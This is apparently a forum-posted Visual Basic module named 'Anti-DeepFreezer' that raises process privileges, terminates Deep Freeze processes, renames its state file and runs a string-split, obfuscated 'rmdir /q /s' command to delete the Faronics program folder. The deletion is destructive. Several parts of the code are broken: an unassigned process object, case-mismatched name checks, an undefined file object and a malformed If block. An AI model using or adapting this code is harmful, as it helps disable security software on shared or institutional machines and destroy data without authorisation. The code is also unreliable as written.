Código: Seleccionar todo

'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
' Nombre Modulo: Anti-DeepFreezer
' Autor: m3m0_11
' Dependencias: Ninguna
' Distribucion: Este modulo es de distribucion libre distrubucion
'               y puede ser posteado en cualquier sitio siempre mencionando
'               el nombre del autor
'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

Option Explicit
 
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, _
ReturnLength As Long) As Long
 
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystemName As String, _
ByVal lpName As String, _
lpLUID As LUID) As Long
 
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
 
Private Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long
 
 
Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
 
Private Type LUID
    LowPart                     As Long
    HighPart                    As Long
End Type
 
Private Type LUID_AND_ATTRIBUTES
        pLuid                   As LUID
        Attributes              As Long
End Type
 
Private Type TOKEN_PRIVILEGES
    PrivilegeCount              As Long
    Privileges(ANYSIZE_ARRAY)   As LUID_AND_ATTRIBUTES
End Type
 
Public Const SE_SYSTEM_PROFILE_NAME      As String = "SeSystemProfilePrivilege"
 
Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" ( _
ByVal NewValue As Boolean, _
ByVal OldValue As Boolean, _
ByVal WinLogon As Boolean)
 
Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long
 
Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long
 
hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
    Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
    Exit Function
End If
With lpToken
    .PrivilegeCount = 1
    .Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    .Privileges(0).pLuid = lpLUID
End With
 
res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
    Exit Function
End If
ObtenerPrivilegios = res
End Function
 

Public Function mAntiDeep() As Boolean
        ObtenerPrivilegios SE_SYSTEM_PROFILE_NAME
        Dim objet As Object
        Set objet = GetObject("winmgmts:")
        If IsNull(objet) = False Then
            Dim list As Object
            Set list = objet.InstancesOf("win32_process")
            Dim procesoacerrar As Object
            If LCase$(procesoacerrar.Name) = "FrzState.exe" Then KillProcess ("FrzState.exe")
            If LCase$(procesoacerrar.Name) = "DFServEx.exe" Then KillProcess ("DFServEx.exe")
        End If
        If (file.Exists(Environ("windir") & "\Temp\_$Df\FrzState2k.sib")) Then
        Set list = Nothing
        Name Environ("windir") & "\Temp\_$Df\FrzState2k.sib" As Environ("windir") & "\Temp\_$Df\FrzState2k.fgbs"
        Shell "cmd.exe /c r" & "md" & "ir /q /" & "s C:\A" & "rchivos de pro" & "grama\" & "Far" & "onics"
        Else
        End
End Function

Public Sub KillProcess(ByVal processName As String)
    On Error GoTo ErrHandler
    Dim oWMI
    Dim ret
    Dim sService
    Dim oWMIServices
    Dim oWMIService
    Dim oServices
    Dim oService
    Dim servicename
    Set oWMI = GetObject("winmgmts:")
    Set oServices = oWMI.InstancesOf("win32_process")
    For Each oService In oServices
        servicename = LCase(Trim(CStr(oService.Name) & ""))
        If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
            ret = oService.Terminate
        End If
    Next
    Set oServices = Nothing
    Set oWMI = Nothing
ErrHandler:
    Err.Clear
End Sub